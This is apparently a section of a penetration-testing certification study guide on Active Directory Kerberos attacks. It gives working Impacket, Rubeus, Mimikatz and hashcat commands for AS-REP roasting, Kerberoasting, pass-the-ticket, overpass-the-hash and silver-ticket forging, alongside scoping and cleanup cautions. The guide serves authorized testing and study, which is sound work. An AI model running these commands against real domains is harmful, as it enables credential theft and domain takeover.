9.6.3 Kerberos and Identity Transitions
← Stage index | Domain mapping | Select accessible credential material for the next identity transition | Credential handling | AD cheatsheet | Strategy map | Study methods: Recover and use authentication material; Map Active Directory attack paths; Gain a more useful domain identity
Purpose: convert a validated Block 10 identity/account/SPN/ticket candidate into typed offline material or a new authenticated identity, then return to mapping.
Boundary: ticket requests and local ticket handling are covered here. Matching the resulting password/hash/ticket to remote execution is Block 12 lateral movement.
9.6.3.1 Kerberos model and prerequisites
AS-REQ/AS-REP: user proves knowledge of long-term key -> receives TGT
TGS-REQ/TGS-REP: TGT requests SERVICE/HOST -> receives service ticket
AP-REQ: client presents service ticket -> service authenticates client
AUTHORIZATION: target service still evaluates the represented identity/claims
Before changing credentials or tools:
getent hosts DC_HOST
nc -nvz DC_IP 88
date -u
w32tm /query /status
klist
Record domain FQDN/realm, DC FQDN/IP, source DNS, current time, KDC route and exact target SPN. IP connectivity does not replace hostname/SPN correctness.
9.6.3.2 Password policy and bounded validation
net accounts /domain
Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess
Password validation belongs to the existing credential procedure. Do not spray by default. If explicitly required, account for lockout threshold, duration, observation window and prior failures; use one justified candidate, stop on lockout/rate-limit evidence and preserve successful identities separately.
9.6.3.3 Check for accounts whose AS-REP responses support offline password recovery AS-REP roasting
9.6.3.3.1 Why AS-REP roasting works
Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.
KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES
9.6.3.3.2 Request an AS-REP for a known user without preauthentication One known user, no password
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
-dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes
9.6.3.3.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password
impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
-dc-ip DC_IP -outputfile asrep.hashes
9.6.3.3.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery
impacket-GetNPUsers 'DOMAIN/USER' -request \
-dc-ip DC_IP -outputfile asrep.hashes
Omitting the password from the target lets the tool prompt rather than storing it in shell history.
9.6.3.3.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat
9.6.3.3.6 Interpret before cracking
| Output | Meaning | Next action |
|---|---|---|
$krb5asrep$23$ | RC4 AS-REP offline verifier | Hashcat mode 18200 |
| AS-REP with another etype | Different cipher/format | Match the exact prefix to installed Hashcat/John support |
KDC_ERR_C_PRINCIPAL_UNKNOWN | User/realm not found | Recheck spelling, realm and DC |
Preauthentication required / no UF_DONT_REQUIRE_PREAUTH | Account is not roastable through this method | Disprove this path for that account |
| Timeout/name error | KDC route/DNS problem | Fix route/FQDN/time before account conclusions |
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show
Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.
9.6.3.4 Request selected service tickets for offline password recovery Kerberoasting
9.6.3.4.1 Why Kerberoasting works
Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.
VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES
Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.
9.6.3.4.2 Enumerate without requesting tickets
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'
Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST
9.6.3.4.3 Request one selected user
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
9.6.3.4.3.1 Request all mapped candidates
impacket-GetUserSPNs -request -dc-ip DC_IP \
-outputfile kerberoast.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.
9.6.3.4.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking
| Prefix | Kerberos etype | Hashcat mode |
|---|---|---|
$krb5tgs$23$ | RC4-HMAC | 13100 |
$krb5tgs$17$ | AES128 | 19600 |
$krb5tgs$18$ | AES256 | 19700 |
hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show
Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.
9.6.3.4.5 Common failures
- no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;- output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
- crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”
9.6.3.5 Check whether SPN-write rights enable targeted ticket recovery Targeted Kerberoasting from object control
If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.
Built-in SPN operations:
setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER
Request only that account:
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'
Cleanup:
setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER
The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.
9.6.3.6 Identify and convert the tickets available to your current context Ticket inventory, classification and conversion
klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap
Do not run
klist purgeduring triage.
| Field/pattern | Interpretation | Decision |
|---|---|---|
Client: USER @ REALM | Identity represented | Map that exact user/computer and realm |
Client ending in $ | Computer identity | Establish machine-account rights; do not treat as a human user |
Server: krbtgt/REALM | TGT | Can request service tickets while valid, within that client's authorization |
Server: cifs/HOST | CIFS service ticket | Only SMB/CIFS on the named host; authorization still applies |
Server: ldap/DC_HOST | LDAP service ticket | LDAP authentication, not replication rights |
Other SERVICE/HOST | Ticket for that SPN | Use matching hostname/service/client |
Start/End/Renew Time | Validity windows | Import cannot revive an expired/not-yet-valid ticket |
| Ticket flags | Kerberos behavior/history | Not evidence of privilege |
Kdc Called | Issuing KDC | Not evidence of access to that DC |
| Encryption/session key | Compatibility/policy clue | Not privilege or password strength |
Linux cache:
klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"
Convert only when a client expects the other container:
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
9.6.3.7 Use an available key or ticket in the correct identity context Pass-the-Ticket and key-to-ticket transitions
These commands establish a local ticket context. Block 12 selects and validates the remote service.
Windows/Rubeus:
Rubeus.exe ptt /ticket:ticket.kirbi
klist
Windows/Mimikatz:
kerberos::ptt ticket.kirbi
kerberos::list
Linux:
export KRB5CCNAME="$PWD/ticket.ccache"
klist
NT hash or AES key to a TGT:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist
Use /aes128: or /aes256: when that is the actual key type and tool version supports it. RC4-based requests can fail where RC4 is disabled even though the NT hash is correct.
Mimikatz creates a new process using supplied key material:
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe
This is a credential/ticket-context transition, not proof that a destination accepts the identity.
9.6.3.8 Forge a service ticket when you possess the correct service key Silver tickets: forge one service ticket
Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.
Linux/Impacket:
impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Windows/Mimikatz:
kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt
Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.
Important boundaries:
- the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
- the ticket is limited to the named service/host and whichever services share the same account key;
- current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
- a service may perform KDC/PAC validation or additional authorization;
- a successfully imported ticket is not successful service access.
Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.
9.6.3.9 Re-enumerate every new identity
NEW PASSWORD/HASH/KEY/TICKET
-> VERIFY TYPE, CLIENT, REALM, VALIDITY
-> AUTHENTICATE THROUGH ONE COMPATIBLE SERVICE
-> CONFIRM IDENTITY
-> REPEAT GROUP/ACL/SHARE/HOST/SESSION/ROUTE MAPPING
Do not overwrite the old state. Record which source produced the material and which protocol accepted it.
9.6.3.10 Choose the next check from the failure you observed Failure router
| Symptom | Layer | Next test |
|---|---|---|
| KDC unreachable | Route/service | DNS/FQDN, TCP/UDP 88, pivot path |
| Clock-skew error | Time | Synchronize source to authorized domain time |
| Principal unknown | Identity/realm | Exact username, realm and DC |
| Preauth required | AS-REP prerequisite absent | Disprove AS-REP roast for that account |
| No SPNs | Enumeration/context | Correct domain, bind identity, filter and account type |
| Etype unsupported | Cipher policy | Use supported account/domain/tool path; do not blame password |
| Hashcat loads zero hashes | Format/mode/file integrity | Inspect prefix, wrapping and mode examples |
| Exhausted wordlist | Candidate model failed | Improve candidates or deprioritize; no credential was recovered |
| Ticket import succeeds, access fails | SPN/service/authorization/route | Client, validity, hostname, service class and target rights |
| Silver ticket rejected | Wrong key/SPN/domain SID/PAC behavior | Revalidate every prerequisite; use a real authorized identity |
| NT hash to TGT fails | RC4 disabled or identity/key mismatch | Exact key type, realm, user and KDC policy |
9.6.3.11 Tooling for this section
| Tool | Choose it when | Requirements | Baseline | Decisive output | Failure cue |
|---|---|---|---|---|---|
| Impacket GetNPUsers | AS-REP candidate from Kali | Username/list, KDC route; no password for direct candidate test | Section 3 | $krb5asrep$ line | Preauth required/principal unknown |
| Impacket GetUserSPNs | Enumerate/request selected SPN account | Valid domain identity, LDAP/KDC route | -request-user TARGET_USER | $krb5tgs$ line | No SPN/etype/KDC error |
| Rubeus | Windows roasting and ticket lifecycle | Domain Windows context or alternate credential; compatible build | kerberoast /stats, selected roast, triage | Account/hash/ticket metadata | LDAP/KDC/privilege/version failure |
| Hashcat/John | Offline verifier testing | Exact format/mode and candidates | Modes 18200/13100/19600/19700 as applicable | Verified recovered candidate | Zero hashes loaded/exhausted candidates |
klist | Native ticket metadata | Windows or Kerberos client | klist / klist -c | Client, server, validity, etype | Wrong cache/LUID or expired ticket |
| Impacket ticketConverter | Tool requires ccache vs kirbi | Valid ticket file and compatible release | ticketConverter INPUT OUTPUT | Parsed output container | Invalid/truncated ticket |
| Impacket ticketer/Mimikatz | Validated silver-ticket prerequisite | Service/machine key, SID, SPN and isolated authorization | Section 8 | Ticket with expected client/server fields | Wrong key/SPN/PAC/authorization |
9.6.3.12 Timeroast — offline recovery of weak computer-account passwords via MS-SNTP
Use when the DC exposes UDP/123 and Windows authenticated NTP responses are available for computer/trust-account RIDs. This is separate from Kerberos roasting and does not require a domain password. Prefer a known computer RID; the example range is bounded discovery, not a completeness guarantee.
python3 timeroast.py DC_IP --rids 1000-1100 --rate 10 --timeout 5 -o timeroast.txt
hashcat -m 31300 --username timeroast.txt WORDLIST
hashcat -m 31300 --username timeroast.txt --show
Read: output resembles RID:$sntp-ms$... and is a response-derived offline verifier, not a reusable NT hash. Map any recovered RID to the exact computer/trust identity before testing its password on one relevant service. Normally rotated random machine passwords are not practical dictionary candidates. No reply can mean filtering, unsupported behavior, nonexistent RIDs or packet loss. Do not infer no AD accounts or switch blindly to an unbounded RID sweep. The source's NetExec module is an alternative wrapper; inspect its installed options because its default RID sweep is very broad.
Sources: upstream 1 · upstream 2.
9.6.3.13 Sources
- Supplied PEN-200, Chapter 23, pp758–785, and Chapter 24 ticket handling where referenced.
- OffSec OSCP+ Body of Knowledge
- OffSec OSCP+ Exam FAQ
- Impacket GetNPUsers, GetUserSPNs, ticketConverter and ticketer
- Inspect and use Kerberos material in the intended logon context
- Microsoft
klist - Hashcat example hashes
- getSH Active Directory route, source snapshot
e1f62dd - Hexdump consolidated cheatsheet. Its AS-REP/Kerberoast seeds were checked against current Impacket, Rubeus and Hashcat sources; the live Hexdump AD module itself was still a TODO.